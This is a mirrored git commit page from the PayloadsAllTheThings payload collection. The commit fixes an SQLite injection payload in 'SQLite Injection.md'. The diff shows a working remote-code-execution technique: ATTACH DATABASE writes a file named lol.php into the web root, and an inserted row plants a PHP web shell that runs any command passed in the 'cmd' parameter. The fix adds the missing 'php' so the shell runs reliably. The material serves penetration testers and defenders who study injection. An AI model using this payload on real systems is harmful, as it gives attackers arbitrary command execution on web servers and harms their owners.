Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-03-04 15:27:18 +00:00
Code Issues Projects Releases Packages Wiki Activity

Fixing "RCE - Attach Database" Payload

Browse source 
The old payload doesn't work for many cases as the `php` in `<?php` is missing.
This commit is contained in:
malet 2021-12-14 19:54:41 +01:00 • committed by GitHub
parent 5714b9c9d7
commit 4ab2649317
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

2
SQL Injection/SQLite Injection.md
View file

@ -82,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```sql ```sql
ATTACH DATABASE '/var/www/lol.php' AS lol; ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text); CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');-- INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET['cmd']); ?>');--
``` ```
## Remote Command Execution using SQLite command - Load_extension ## Remote Command Execution using SQLite command - Load_extension